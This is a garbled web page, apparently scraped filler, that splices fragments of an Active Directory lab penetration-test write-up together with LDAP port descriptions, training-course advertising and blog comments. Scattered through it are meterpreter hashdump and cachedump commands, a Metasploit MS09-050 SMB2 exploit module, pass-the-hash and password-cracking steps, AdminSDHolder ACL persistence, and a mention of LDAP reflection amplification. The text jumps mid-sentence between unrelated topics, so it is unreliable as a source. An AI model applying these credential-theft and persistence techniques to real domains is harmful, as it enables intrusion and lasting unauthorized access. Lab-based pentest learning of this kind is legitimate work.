Password required Yes The Exploit Database is a repository for exploits and proof-of-concepts rather than advisories, making it a valuable resource for those who need actionable data right away. IgnoreNew If you can access the files where the databases are contained (could be in /var/lib/ldap). I frequently see LDAP in relation to Active Directory, however there are many other directory services that take advantage of this open standard. The tools we use are Nmap, Nessus, Metasploit (the hacker’s framework, exploits are written in ruby), John the Ripper and Powershell. meterpreter> run post/windows/gather/cachedump, [*] Executing module against LDAP389-SRV2003 meterpreter > shell Device type: general purpose

Loaded 2 password hashes with 2 different salts (M$ Cache Hash MD4 [32/32]) Those hashes are computed with the following cryptographic algorithms: Only cached logons password hashes having a weak password can be broken in a reasonable amount of time, for more information on the subject read this article: cd /pentest/passwords/john The domain administrators group and the ldap389\domainadm account are protected objects, so if we modify the AdminSDHolder ACL, the ACL will be also modified on those two objects: In order to set “password never expires” for the test0001 account and add the permissions for this account on the AdminSDHolder object we use the hack-ADDS-psh.ps1 script, this post helped me to play with ACLs: import-module Activedirectory meterpreter> hashdump set SMBDomain LDAP389-SRV2008 We can now start the exploitation phase, because we have accurate information on the machines running on the domain, here is diagram of the intrusion scenario: The password for the local admin account is the same on the servers ldap389-srv2003 and ldap389-srv2003, we will use the pass the hash technique in order to take control of the Windows 2008 These scanning tools are relatively simple to set up, even for someone with limited technical skills. meterpreter > shell Host script results: Running: Microsoft Windows XP|2003 [-] Cache setting not found… Extracted from: https://searchmobilecomputing.techtarget.com/definition/LDAP​.

For example, a user’s department could not be returned using port 3268 since this attribute is not replicated to the global catalog. You will need the IP or hostname, the port, and if using secure LDAP, “use_ssl = True”. These should not be run in a production environment unless you (and, more importantly, the business) understand the risks!”, Link : https://nmap.org/nsedoc/scripts/smb-check-vulns.html, Late comment, very late reply

In addition to not being up to date, this webserver is running DVWA: Perfect to practice your pentesting skills :-). From the Nmap port scan we found out that Metasploitable is running Microsoft IIS on port 80 and Apache httpd 2.2.21 on port 8585. true The pentest’s goal is to retrieve domain administrator credentials and maintain the access on the ADDS domain discretly. © OffSec Services Limited 2020 All rights reserved, Penetration Testing with Kali Linux (PWK), Advanced Web Attacks & Exploitation (AWAE). Thanks for the tip , By Thomas Wallutis, August 17, 2015 @ 10:27 am, its an older article but i found it today so sorry for the late comment;-), If you put the two ordinary user accounts in the AdminSDHolder group (nice trick! SANS: SEC560: Scanning, Exploitation, Password Attacks. Logon script Using a list of vulnerable LDAP servers, an attacker using raw sockets for sending the UDP requests can now spoof the request IP address and generate a reflection attack with an average amplification factor of 47.

Each server can have a replicated version of the total directory that is synchronized periodically. Channel 1 created.

Special thanks to Regre$$ion $oftware for the long discussions and knowledge sharing during our coffee breaks , Update 07/02/2013: Use GPO “Deny access to this computer from the network” for local admin accounts to mitigate PtH attacks using this account. To have a look at the exploit’s ruby code and comments just launch the following command on your Backtrack box: cd /pentest/exploits/framework/modules/exploits/windows/smb use exploit/windows/smb/ms09_050_smb2_negotiate_func_index, Advanced Web Attacks and Exploitation (AWAE), Offensive Security Wireless Attacks (WiFu).

Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS. This article provides an overview of ports that are used by Citrix components and must be considered as part of Virtual Computing architecture, especially if communication traffic traverses network components such as firewalls or proxy servers where ports must be opened to ensure communication flow.. We dissect exploits. Attackers continue to exploit decades-old protocols in an effort to achieve stronger amplification, enabling them to inflict greater damage. ... ----- RHOST yes The target address RPORT 445 yes The target port (TCP) WAIT 180 yes The number of seconds to wait for the attack to complete. LDAP (Lightweight Directory Access Protocol) is an open and cross platform protocol used for directory services authentication. [*] Trying ‘Vista’ style… This vulnerability could also be discovered with Nmap, using the following command: nmap --script smb-check-vulns.nse -p445 192.168.206.136, Starting Nmap 6.01 ( http://nmap.org ) at 2012-11-02 14:46 EDT Great article ! In order to manipulate AD objects more easily it could be good to have the RSAT-AD-PowerShell feature installed on the ldap389-srv2008 machine.

Host is up (0.0023s latency).   First we will learn how we can determine which HTTP methods are allowed and find out if HTTP PUT is one of them. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP). If you have feedback for TechNet Subscriber Support, contact tnmff@microsoft.com. 7


This contained a SHA1 hash of the users password. C:\Windows\system32>schtasks.exe /create /TN InstallPSH /XML c:\tools\PSH.xml Microsoft Windows [Version 6.1.7600] The parts we describe in detail are scanning, exploitation and maintaining access.

Default port: 389 and 636(ldaps). But this solution is not really discreet because the members of this group are generally monitored.

(mscash). LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. This port is used for requesting information from the local domain controller. In this tutorial we will target the Apache server on port 8585. essions, and then click Run as administrator. Now we are domain admin and the exploitation phase is over we will see how to maintain access discreetly on this test domain.
